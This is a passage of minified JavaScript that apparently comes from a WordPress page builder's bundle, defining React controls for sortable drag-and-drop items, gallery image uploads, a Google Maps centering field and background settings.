- super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}(this,(t.__proto__||Object.getPrototypeOf(t)).apply(this,arguments))}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(t,A),Wn(t,[{key:"renderContent",value:function(e){return a()(e,"content")?v.a.createElement("span",{className:this.classes.content},v.a.createElement("span",{className:r()(e,"class")},e.content)):null}}]),t}(),Hn=n(1319),Gn=(n(1429),n(926)),Un=n.n(Gn),zn=n(749),qn=n.n(zn),Kn=n(68),$n=n.n(Kn),Xn=n(183),Yn=n.n(Xn),Jn=n(862),Qn=n.n(Jn),Zn=n(927),eo=n.n(Zn),to=n(1080),no=n.n(to),oo=n(863),ro=n.n(oo),io=n(1292),ao=n(1290),so=function(){function e(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}return function(t,n,o){return n&&e(t.prototype,n),o&&e(t,o),t}}();var lo=function(e){function t(){return function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,t),function(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}(this,(t.__proto__||Object.getPrototypeOf(t)).apply(this,arguments))}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(t,g["Component"]),so(t,[{key:"render",value:function(){var e=this.props,t=e.connectDropTarget,n=e.tagName,o=e.children,r=function(e,t){var n={};for(var o in e)t.indexOf(o)>=0||Object.prototype.hasOwnProperty.call(e,o)&&(n[o]=e[o]);return n}(e,["connectDropTarget","tagName","children"]);return t(Object(g.createElement)(n,r,o))}}]),t}();lo.propTypes={tagName:y.a.string,connectDropTarget:y.a.func.isRequired,children:y.a.node},lo.defaultProps={tagName:"div",children:v.a.ReactNode};var uo=lo,co=n(1430),po=(n(1431),function(){function e(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}return function(t,n,o){return n&&e(t.prototype,n),o&&e(t,o),t}}());var fo=function(e){function t(e){var n=e.type;!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,t);var o=function(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}(this,(t.__proto__||Object.getPrototypeOf(t)).call(this));return o.defineContainer(n),o.defineItem(n),o.renderItem=o.renderItem.bind(o),o}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(t,g["Component"]),po(t,[{key:"getType",value:function(){return this.props.type}},{key:"getContainer",value:function(){return this.Container}},{key:"getItem",value:function(){return this.Item}},{key:"defineItem",value:function(e){var t=Object(io.DragSource)(e,{beginDrag:function(e){return{id:e.id,originalIndex:e.find(e.id).index}},endDrag:function(e,t){var n=t.getItem(),o=n.id,r=n.originalIndex;t.didDrop()||e.move(o,r)}},function(e,t){return{connectDragSource:e.dragSource(),isDragging:t.isDragging()}}),n=Object(io.DropTarget)(e,{canDrop:function(){return!1},hover:function(e,t){var n=t.getItem().id,o=e.id;if(n!==o){var r=e.find(o).index;e.move(n,r)}}},function(e){return{connectDropTarget:e.dropTarget()}});this.Item=n(t(co.a))}},{key:"defineContainer",value:function(e){var t=Object(io.DropTarget)(e,{drop:function(){}},function(e){return{connectDropTarget:e.dropTarget()}});this.Container=t(uo)}},{key:"renderItem",value:function(e){var t=this.getItem(),n=this.props,o=n.find,r=n.move;return!1===e.props.draggable?e:v.a.createElement(t,{id:e.props.id,key:e.props.id,find:o,move:r},e)}},{key:"render",value:function(){var e=this.getContainer(),t=this.props,n=t.children,o=(t.type,t.find,t.move,function(e,t){var n={};for(var o in e)t.indexOf(o)>=0||Object.prototype.hasOwnProperty.call(e,o)&&(n[o]=e[o]);return n}(t,["children","type","find","move"]));return v.a.createElement(ao.a,null,v.a.createElement(e,o,n.map(this.renderItem)))}}]),t}();fo.propTypes={tagName:y.a.string,move:y.a.func.isRequired,find:y.a.func.isRequired,type:y.a.string.isRequired,children:y.a.node},fo.defaultProps={tagName:"div",children:v.a.ReactNode};var ho=fo,mo={multiple:!1,mediaTypes:"image",selected:[]},go=function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:mo,t=q.default.topWindow().wp.media({library:{type:e.mediaTypes},multiple:!!e.multiple&&"add"});return t.on("open",function(){var n=t.state().get("selection");e.selected.map(function(e){return n.add(q.default.topWindow().wp.media.attachment(e))})}),t.open(),new Promise(function(e){return t.on("select",function(n){return e(t.state().get("selection").map(qn()("attributes")))})})},vo=n(1320),bo=n(25),yo=n(305),_o=function(){function e(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}return function(t,n,o){return n&&e(t.prototype,n),o&&e(t,o),t}}();var ko=function(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:"thumbnail";return Object(vo.a)(e).then(function(e){var n=r()(e,"guid","");return t&&a()(e,"metadata."+t+".0")?r()(e,"metadata."+t+".0",n):n})},wo=function(e){function t(){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,t);var e=function(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}(this,(t.__proto__||Object.getPrototypeOf(t)).call(this));return e.state={url:null,active:!1},e.setUrl=e.setUrl.bind(e),e.onMouseOver=e.onMouseOver.bind(e),e.onMouseLeave=e.onMouseLeave.bind(e),e.onRemove=e.onRemove.bind(e),e}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(t,g["Component"]),_o(t,[{key:"onMouseOver",value:function(){this.setState({active:!0})}},{key:"onMouseLeave",value:function(){this.setState({active:!1})}},{key:"onRemove",value:function(e){e.preventDefault(),this.props.onRemove&&this.props.onRemove(this.props.id)}},{key:"componentDidMount",value:function(){ko(this.props.id).then(this.setUrl)}},{key:"UNSAFE_componentWillReceiveProps",value:function(e){var t=e.id;this.props.id!==t&&ko(t).then(this.setUrl)}},{key:"setUrl",value:function(e){this.setState({url:e})}},{key:"renderDelete",value:function(){var e=this,t={opacity:this.state.active?Object(bo.spring)(1,{stiffness:300,damping:20}):Object(bo.spring)(0,{stiffness:300,damping:20}),scale:this.state.active?Object(bo.spring)(1,{stiffness:300,damping:20}):Object(bo.spring)(0,{stiffness:300,damping:20}),top:this.state.active?Object(bo.spring)(5,{stiffness:300,damping:20}):Object(bo.spring)(-10,{stiffness:300,damping:20}),right:this.state.active?Object(bo.spring)(5,{stiffness:300,damping:20}):Object(bo.spring)(-10,{stiffness:300,damping:20})};return v.a.createElement(bo.Motion,{style:t},function(t){return v.a.createElement("button",{className:"et-fb-control-images-upload--item-delete",onClick:e.onRemove,style:{opacity:t.opacity,transform:"scale( "+t.scale+" )",top:t.top}},v.a.createElement(M.a,{icon:"delete",color:"#fff"}))})}},{key:"renderLoading",value:function(){return v.a.createElement("div",{className:"et-fb-control-images-upload--item-wrapper loading"},v.a.createElement("div",{className:"et-fb-control-images-upload--item",onMouseOver:this.onMouseOver,onMouseOut:this.onMouseLeave},v.a.createElement(yo.a,{isLoading:!0})),!this.props.readonly&&this.renderDelete())}},{key:"renderAttachment",value:function(){return v.a.createElement("div",{className:"et-fb-control-images-upload--item-wrapper"},v.a.createElement("div",{className:"et-fb-control-images-upload--item",style:{backgroundImage:"url("+this.state.url+")"},onMouseOver:this.onMouseOver,onMouseOut:this.onMouseLeave},!this.props.readonly&&this.renderDelete()))}},{key:"render",value:function(){return c()(this.state.url)?this.renderLoading():this.renderAttachment()}}]),t}();wo.propTypes={id:y.a.number,onRemove:y.a.func};var Co=wo,Eo=(n(1434),function(e){var t=e.onClick,n=e.title;return!e.readonly&&v.a.createElement("div",{className:"et-fb-add-media",onClick:t},v.a.createElement("div",{className:"et-fb-add-media--container"},v.a.createElement("div",{className:"et-fb-add-media--button"},v.a.createElement(M.a,{icon:"add",color:"#fff"})),v.a.createElement("label",{className:"et-fb-add-media--title et-fb-form__label"},n)))}),Oo=function(){function e(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}return function(t,n,o){return n&&e(t.prototype,n),o&&e(t,o),t}}();function So(e){if(Array.isArray(e)){for(var t=0,n=Array(e.length);t<e.length;t++)n[t]=e[t];return n}return Array.from(e)}var To=ve()(Un()(eo()(isNaN)),Qn()(parseInt),Ce()(","),Ke.a),Mo=function(e){function t(){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,t);var e=function(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}(this,(t.__proto__||Object.getPrototypeOf(t)).call(this));return e.getValue=e.getValue.bind(e),e.updateValue=e.updateValue.bind(e),e.onRemove=ve()(e.onRemove.bind(e),parseInt),e.onClick=e.onClick.bind(e),e.find=e.find.bind(e),e.move=e.move.bind(e),e}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(t,g["Component"]),Oo(t,[{key:"UNSAFE_componentWillMount",value:function(){Object(vo.b)(this.getValue())}},{key:"UNSAFE_componentWillReceiveProps",value:function(e){var t=e.value;Object(vo.b)(To(t))}},{key:"updateValue",value:function(e){this.props._onChange(this.props.name,ro()(",",e),this.props.type)}},{key:"onClick",value:function(){var e=this;go({multiple:!0,selected:this.getValue()}).then(Qn()(qn()("id"))).then(function(t){return $n()(e.getValue(),t)}).then(this.updateValue)}},{key:"onRemove",value:function(e){this.updateValue(Un()(eo()(no()(e)),this.getValue()))}},{key:"getValue",value:function(){return To(this.props.value)}},{key:"move",value:function(e,t){var n=this.find(e).attachment,o=this.getValue().filter(eo()(no()(e)));this.updateValue([].concat(So(o.slice(0,t)),[n],So(o.slice(t))))}},{key:"find",value:function(e){return{attachment:this.getValue().find(no()(e)),index:Yn()(this.getValue(),no()(e))}}},{key:"renderItems",value:function(){var e=this;return[].concat(So(this.getValue().map(function(t){return v.a.createElement(Co,{key:t,id:t,onRemove:e.onRemove,readOnly:e.props.readonly})})),[v.a.createElement(Eo,{key:-1,draggable:!1,onClick:this.onClick,title:ETBuilderBackend.i18n.controls.uploadGallery.addImages,readOnly:this.props.readonly})])}},{key:"render",value:function(){return v.a.createElement(ho,{className:"et-fb-control-images-upload",type:"image-upload",move:this.move,find:this.find},this.renderItems())}}]),t}();Mo.propTypes={value:y.a.string};var xo=Mo,Po=n(51),jo=(n(1435),function(){function e(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}return function(t,n,o){return n&&e(t.prototype,n),o&&e(t,o),t}}());var Lo=r()(Object(q.topWindow)(),"google.maps",r()(Object(q.appWindow)(),"google.maps",!1)),No=Lo&&new Lo.Geocoder,Do=C()({"et-fb-settings-option-inner":!0,"et-fb-settings-option-inner-center-map":!0}),Ao=C()({"et-fb-settings-button--center-map-update":!0,"et-fb-settings-button--additional-button":!0}),Fo=Lo?{url:ETBuilderBackend.images_uri+"/marker.png",size:new Lo.Size(46,43),anchor:new Lo.Point(16,43)}:{},Io={coord:[1,1,46,43],type:"rect"},Ro=function(e){return!isNaN(parseFloat(e))&&isFinite(e)},Bo=function(e,t){return new Lo.LatLng(Ro(e)?parseFloat(e):0,Ro(t)?parseFloat(t):0)},Wo=function(e){r()(window,"alert",dt.a)(e)},Vo=function(e){function t(e){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,t);var n=function(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}(this,(t.__proto__||Object.getPrototypeOf(t)).call(this,e));return n.state={updateMapSize:!1,contentUpdate:!1},n.isUpdating=!1,n.forceCenter=!0,n.markers=[],n.onClick=n.onClick.bind(n),n.updateMap=n.updateMap.bind(n),n.geoCodeCallback=n.geoCodeCallback.bind(n),n.geoCodePinCallback=n.geoCodePinCallback.bind(n),n.zoomChanged=n.zoomChanged.bind(n),n.centerChanged=n.centerChanged.bind(n),n.dragEnd=n.dragEnd.bind(n),n.handleContentChange=n.handleContentChange.bind(n),n.handleMapWidthChange=n.handleMapWidthChange.bind(n),n.debouncedCenterChanged=ft()(n.centerChanged,500),n.debouncedUpdateMap=ft()(n.updateMap,200),n.debouncedWidthChange=ft()(n.handleMapWidthChange,500),n}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(t,v.a.Component),jo(t,[{key:"componentDidMount",value:function(){Lo&&(L.a.addSettingsModalResizeListener(this.debouncedWidthChange),L.a.addChangeListener(this.debouncedWidthChange),L.a.addModuleItemsActionsListener(this.handleContentChange),this.wasModuleItemSettings=this.isModuleItemSettings(),this.createMap(),this.debouncedUpdateMap())}},{key:"componentDidUpdate",value:function(){if(Lo){var e=this.isModuleItemSettings();e&&!this.wasModuleItemSettings&&(this.forceCenter=!0),e!==this.wasModuleItemSettings&&this.removeMarkers(),this.wasModuleItemSettings=e,this.debouncedUpdateMap()}}},{key:"componentWillUnmount",value:function(){Lo&&Lo.event.clearInstanceListeners(this.map),this.debouncedUpdateMap.flush(),this.debouncedCenterChanged.cancel(),this.debouncedWidthChange.cancel(),L.a.removeSettingsModalResizeListener(this.debouncedWidthChange),L.a.removeChangeListener(this.debouncedWidthChange),L.a.removeModuleItemsActionsListener(this.handleContentChange)}},{key:"onClick",value:function(){this.geoCodeAddress()}},{key:"getModuleAttributeName",value:function(e){return this.isModuleItemSettings()&&"zoom_level"!==e?"pin_"+e:e}},{key:"getModuleAttributeValue",value:function(e){var t=this.getModuleAttributeName(e),n=r()(this.props.moduleAttrs,t);return r()(this.props,t,n)}},{key:"getAddress",value:function(){return fe()(this.getModuleAttributeValue("address"))}},{key:"getModule",value:function(){return r()(this,"props.module.props.module")}},{key:"moduleSettingsChange",value:function(e,t){var n=r()(this.props,"disableAction",!1),o=r()(this.props,"_onChange");n&&R()(o)?o(e,t):this.props.isItemSelected?Me.b.multiSelectSettingsChange(this.getModule(),e,t):Me.b.moduleSettingsChange(this.getModule(),e,t)}},{key:"geoCodeAddress",value:function(){var e=this.getAddress();e.length<=0||!1===No||No.geocode({address:e},this.geoCodeCallback)}},{key:"geoCodePinCallback",value:function(e,t){t===Lo.GeocoderStatus.OK?e[0]?(this.forceCenter=!0,this.moduleSettingsChange(this.getModuleAttributeName("address"),e[0].formatted_address)):Wo(ETBuilderBackend.i18n.controls.centerMap.noResults):Wo(ETBuilderBackend.i18n.controls.centerMap.geoCodeError_2+": "+t)}},{key:"geoCodeCallback",value:function(e,t){if(t===Lo.GeocoderStatus.OK){var n=this.getAddress(),o=e[0],r=o.geometry.location,i=function(e){var t=e.split(","),n=!!l()(t[0])&&parseFloat(t[0]),o=!!l()(t[1])&&parseFloat(t[1]);return!(!n||isNaN(n)||!o||isNaN(o))&&Bo(n,o)}(n);i&&(r=i),isNaN(r.lat())||isNaN(r.lng())?Wo(ETBuilderBackend.i18n.controls.centerMap.mapPinAddressInvalid):(this.moduleSettingsChange(this.getModuleAttributeName("address"),o.formatted_address),this.moduleSettingsChange(this.getModuleAttributeName("address_lat"),r.lat()),this.moduleSettingsChange(this.getModuleAttributeName("address_lng"),r.lng()),this.removeMarkers(),this.forceCenter=!0)}else Wo(ETBuilderBackend.i18n.controls.centerMap.geoCodeError+": "+t)}},{key:"isModuleItemSettings",value:function(){return!l()(r()(this,"props.module.props.module.isModuleItem"))}},{key:"handleContentChange",value:function(){this.removeMarkers()}},{key:"handleMapWidthChange",value:function(){this.map&&(Lo.event.trigger(this.map,"resize"),this.updateMap())}},{key:"allowEvent",value:function(){return!this.isUpdating&&!this.props.readonly}},{key:"zoomChanged",value:function(){this.allowEvent()&&this.moduleSettingsChange("zoom_level",this.map.getZoom())}},{key:"centerChanged",value:function(){if(this.allowEvent()&&!this.isModuleItemSettings()){var e=this.map.getCenter(),t=e.lat(),n=e.lng(),o=this.getModuleAttributeValue("address_lat"),r=this.getModuleAttributeValue("address_lng");t!==o&&this.moduleSettingsChange("address_lat",t),n!==r&&this.moduleSettingsChange("address_lng",n)}}},{key:"dragEnd",value:function(){if(this.allowEvent()){var e=this.markers[0].getPosition();this.moduleSettingsChange(this.getModuleAttributeName("address_lat"),e.lat()),this.moduleSettingsChange(this.getModuleAttributeName("address_lng"),e.lng());var t=Bo(e.lat(),e.lng());No.geocode({latLng:t},this.geoCodePinCallback)}}},{key:"createMap",value:function(){Lo&&(this.map=new Lo.Map(this.mapContainer,{gestureHandling:"cooperative",mapTypeId:Lo.MapTypeId.ROADMAP,zoomControl:!this.props.readonly,mapTypeControl:!this.props.readonly,scaleControl:!this.props.readonly,streetViewControl:!this.props.readonly,fullscreenControl:!this.props.readonly,scrollwheel:!this.props.readonly,draggable:!this.props.readonly,disableDoubleClickZoom:this.props.readonly}),this.props.readonly||(this.map.addListener("zoom_changed",this.zoomChanged),this.map.addListener("dragend",this.debouncedCenterChanged)))}},{key:"removeMarkers",value:function(){ze()(this.markers,function(e){W()(e)&&e.setMap(null)}),this.markers=[]}},{key:"addMarkers",value:function(){var e=this,t=this.getModule(),n=r()(t,"props.content"),o=this.getModuleAttributeValue("address_lat"),i=this.getModuleAttributeValue("address_lng");if(c()(n)||!se()(n)){if(this.isModuleItemSettings()){var a=new Lo.Marker({map:this.map,position:Bo(o,i),draggable:!this.props.readonly,icon:Fo,shape:Io});a.addListener("dragend",this.dragEnd),this.markers=[a]}}else se()(n)&&(this.markers=ze()(n,function(t){return!l()(t)&&new Lo.Marker({map:e.map,position:Bo(t.attrs.pin_address_lat,t.attrs.pin_address_lng),icon:Fo,shape:Io})}))}},{key:"updateMap",value:function(){var e=this.getModuleAttributeValue("address_lat"),t=this.getModuleAttributeValue("address_lng"),n=function(e){return Ro(e)?parseInt(e,10):10}(this.getModuleAttributeValue("zoom_level"));this.isUpdating=!0,n&&this.map.setZoom(n),this.isModuleItemSettings()&&!this.forceCenter||(this.map.setCenter(Bo(e,t)),this.forceCenter=!1),c()(this.markers)&&this.addMarkers(),this.isUpdating=!1}},{key:"render",value:function(){var e=this,t=!this.props.readonly&&!this.props.hideUpdateButton&&v.a.createElement(Po.a,{className:Ao,_onClick:this.onClick,inverse:!0},ETBuilderBackend.i18n.controls.centerMap.updateMapButtonText);return v.a.createElement("div",{className:Do},t,v.a.createElement("div",{className:"et-fb-settings-option-center-map",ref:function(t){return e.mapContainer=t}}))}}]),t}(),Ho=n(1436),Go=n(197),Uo=n.n(Go),zo=n(38),qo=n.n(zo),Ko=n(147),$o=n.n(Ko),Xo=n(226),Yo=n.n(Xo),Jo=n(94),Qo=n.n(Jo),Zo=n(99),er=n.n(Zo),tr=n(828),nr=n(1287),or=n(35),rr=n(727),ir=(n(1321),Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var o in n)Object.prototype.hasOwnProperty.call(n,o)&&(e[o]=n[o])}return e}),ar=function(){function e(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}return function(t,n,o){return n&&e(t.prototype,n),o&&e(t,o),t}}();function sr(e){if(Array.isArray(e)){for(var t=0,n=Array(e.length);t<e.length;t++)n[t]=e[t];return n}return Array.from(e)}var lr={gradient:te,color:F.a,"color-alpha":F.a,number:zt.a,range:Ot,select:Pt.a,text:zt.a,upload:Hn.a,yes_no_button:Fn.a},ur=function(e){function t(e){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,t);var n=function(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}(this,(t.__proto__||Object.getPrototypeOf(t)).call(this,e));return n.defaultTab="color",n.state={activeTab:e.activeTab||n.defaultTab},n._onClickTabNav=n._onClickTabNav.bind(n),n._onMouseEnterTabNav=n._onMouseEnterTabNav.bind(n),n._onMouseLeaveTabNav=n._onMouseLeaveTabNav.bind(n),n._onChange=n._onChange.bind(n),n._onMouseEnterFormGroup=n._onMouseEnterFormGroup.bind(n),n._onMouseLeaveFormGroup=n._onMouseLeaveFormGroup.bind(n),n._onChangeGradient=n._onChangeGradient.bind(n),n._onMouseEnterFormGroupGradient=n._onMouseEnterFormGroupGradient.bind(n),n._onMouseLeaveFormGroupGradient=n._onMouseLeaveFormGroupGradient.bind(n),n._onResetDynamic=n._onResetDynamic.bind(n),n._onInheritDynamic=n._onInheritDynamic.bind(n),n}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(t,g["Component"]),ar(t,[{key:"UNSAFE_componentWillReceiveProps",value:function(e){var t=this.props,n=t.backgroundFields,o=t.background_fields;qo()(e.backgroundFields,n)&&qo()(e.background_fields,o)||(this._backgroundFields=!1,this._tabs=!1)}},{key:"shouldComponentUpdate",value:function(e,t){return!qo()(e,this.props)||!qo()(t,this.state)}},{key:"_onClickTabNav",value:function(e){e.preventDefault();var t=e.target.getAttribute("data-tab");this._isTabDisabled(t)||this.setState({activeTab:t})}},{key:"_onMouseEnterTabNav",value:function(e){var t=this.props,n=t.toggle_slug,o=t.tab_slug,r=t.context_menu,i=t.onMouseEnterGroup;if(R()(i)){var a=e.target.getAttribute("data-tab"),s=z.d.getI18n("controls.background."+a);i({fieldName:this._getBackgroundBase(),fieldLabel:s,fieldType:"background-"+a,toggleId:n,toggleGroupId:o,fieldContextMenu:r})}}},{key:"_onMouseLeaveTabNav",value:function(){var e=this.props.onMouseLeaveGroup;R()(e)&&e({fieldName:!1,fieldLabel:""})}},{key:"_onMouseEnterFormGroup",value:function(e){var t=this._getField(e);if(t&&"use_color_gradient"!==t.field_template){var n=this.props,o=n.onMouseEnterGroup,i=n.toggle_slug,a=n.tab_slug;if(R()(o)){var s=r()(t,"data_type",!1),l=s?t.type+"_"+s:t.type,u=r()(t,"context_menu",!0);o({fieldName:t.name,fieldLabel:t.label,fieldType:l,toggleId:i,toggleGroupId:a,fieldContextMenu:u})}}}},{key:"_onMouseLeaveFormGroup",value:function(e){var t=this._getField(e);if(t&&"use_color_gradient"!==t.field_template){var n=this.props,o=n.onMouseLeaveGroup,i=n.toggle_slug,a=n.tab_slug;if(R()(o)){var s=r()(t,"data_type",!1),l=s?t.type+"_"+s:t.type,u=r()(t,"context_menu",!0);o({fieldName:t.name,fieldLabel:t.label,fieldType:l,toggleId:i,toggleGroupId:a,fieldContextMenu:u})}}}},{key:"_onMouseEnterFormGroupGradient",value:function(e,t){var n=this._getField(e);if(n&&"use_color_gradient"===n.field_template){var o=this._getFieldByTemplate(q.default.gradientFieldsMapping(t));if(o)this._onMouseEnterFormGroup(o.name);else{var i=this.props,a=i.onMouseEnterGroup,s=i.toggle_slug,l=i.tab_slug;if(R()(a)){var u="preview"===t?"background-gradient":n.type,c=r()(n,"data_type",!1);c&&(u=u+"_"+c),a({fieldName:this._getBackgroundBase(),fieldLabel:z.d.getI18n("controls.background.gradientColors"),fieldType:u,toggleId:s,toggleGroupId:l,fieldContextMenu:r()(n,"context_menu")})}}}}},{key:"_onMouseLeaveFormGroupGradient",value:function(e,t){var n=this._getField(e);if(n&&"use_color_gradient"===n.field_template){var o=this._getFieldByTemplate(q.default.gradientFieldsMapping(t));if(o)this._onMouseLeaveFormGroup(o.name);else{var i=this.props,a=i.onMouseLeaveGroup,s=i.toggle_slug,l=i.tab_slug;if(R()(a)){var u=r()(n,"data_type",!1),c=u?n.type+"_"+u:n.type,d=r()(n,"context_menu",!0);a({fieldName:this._getBackgroundBase(),fieldLabel:z.d.getI18n("controls.background.gradientColors"),fieldType:c,toggleId:s,toggleGroupId:l,fieldContextMenu:d})}}}}},{key:"_onResetDynamic",value:function(e){this._onChange(e,"")}},{key:"_onInheritDynamic",value:function(e){this._onChange(e)}},{key:"_onChange",value:function(e,t,n,o,r){this._emitChange(e,t,n,o,r);var i=this._getFieldEnablePair(e);if(i){var a=void 0;a=l()(t)||r?"":q.default.hasValue(t)?"on":"off",this._getAttrs(i.name)!==a&&this._emitChange(i.name,a),L.a.isGlobalPresetsMode()&&tr.a.isDesktopMode()&&!q.default.hasValue(a)&&(this._emitChange(i.name,this._getDefault(i.name)),this._emitChange(e,this._getDefault(e)))}}},{key:"_onChangeGradient",value:function(e,t,n,o,r){var i=this;if(W()(t))T()(t,function(e,t){var n=q.default.gradientFieldsMapping(t);if(n){var o=i._getFieldByTemplate(n);o&&Ke()(e).toLowerCase()!==Ke()(i._getAttrs(o.name)).toLowerCase()&&i._emitChange(o.name,e)}}),q.default.isOn(this._getAttrsByTemplate("use_color_gradient"))||this._emitChange(this._getFieldByTemplate("use_color_gradient").name,"on");else if(l()(t)||r){T()(["color_gradient_start","color_gradient_end","use_color_gradient"],function(e){var t=i._getFieldByTemplate(e);t&&i._emitChange(t.name,"",n,o,!0)})}else if(q.default.isOn(t)){T()(["color_gradient_end","use_color_gradient"],function(e){var t=i._getFieldByTemplate(e);t&&i._emitChange(t.name,i._getAttrs(t.name,!0))}),this._emitChange(e,t)}else this._emitChange(e,t)}},{key:"_emitChange",value:function(e,t,n,o,r){if(!this.props.readonly){p()(["_dynamic_attributes"],e)?this.props._onChange(e,t,n,o,r):this.props._onChange(this._getFieldNameByMode(e),t,n,o,r)}}},{key:"_getModuleAttrs",value:function(){return this.props.moduleAttrs||{}}},{key:"_getAttrsByTemplate",value:function(e){var t=arguments.length>1&&void 0!==arguments[1]&&arguments[1],n=this._getFieldByTemplate(e);return n?this._getAttrs(n.name,t):null}},{key:"_getAttrs",value:function(e){var t=arguments.length>1&&void 0!==arguments[1]&&arguments[1],n=this._getModuleAttrs(),o=this._getFieldEnablePair(e);if(o&&"off"===this._getAttrs(o.name,t))return"";return t?r()(n,this._getFieldNameByMode(e),this._getDefault(e)):r()(n,this._getFieldNameByMode(e))}},{key:"_getDefault",value:function(e){var t=tr.a.getBaseName(e),n=this._getField(t),o=r()(n,"default"),i=this._getModuleAttrs(),a=tr.a.getDesktopValue(t,i);if(n.mobile_options&&tr.a.isResponsiveMode()&&tr.a.isResponsiveEnabled(this._getBackgroundBase(),i)){var s=tr.a.getTabletValue(t,i,a);return tr.a.isPhoneMode()?q.default.get(s,o):q.default.get(a,o)}return"tabs"===n.hover&&tr.a.isHoverMode()&&tr.a.isHoverEnabled(this._getBackgroundBase(),i)?q.default.get(a,o):n.sticky&&tr.a.isStickyMode()&&tr.a.isStickyEnabled(this._getBackgroundBase(),i)?q.default.get(a,o):o}},{key:"_getBackgroundBase",value:function(){return tr.a.getBaseName(this.props.name)||"background"}},{key:"_getFieldNameByMode",value:function(e){var t=this._getModuleAttrs(),n=tr.a.getBaseName(e),o=this._getField(n);return o?o.mobile_options&&tr.a.isResponsiveMode()&&tr.a.isResponsiveEnabled(this._getBackgroundBase(),t)?tr.a.isPhoneMode()?tr.a.getPhoneName(n):tr.a.getTabletName(n):"tabs"===o.hover&&tr.a.isHoverMode()&&tr.a.isHoverEnabled(this._getBackgroundBase(),t)?tr.a.getHoverName(n):o.sticky&&tr.a.isStickyMode()&&tr.a.isStickyEnabled(this._getBackgroundBase(),t)?tr.a.getStickyName(n):n:e}},{key:"_getFieldEnablePair",value:function(e){var t=this._getFieldTemplate(e);return!!p()(["color","image","video_mp4","video_webm"],t)&&this._getFieldByTemplate("enable_"+t)}},{key:"_getFieldByTemplate",value:function(e){return e&&O()(this._getFields(),function(t){return t.field_template===e})}},{key:"_getFieldTemplate",value:function(e){return r()(this._getField(tr.a.getBaseName(e)),"field_template","")}},{key:"_getField",value:function(e){return r()(this._getFields(),tr.a.getBaseName(e))}},{key:"_getFields",value:function(){var e=this;if(!c()(this._backgroundFields))return this._backgroundFields;var 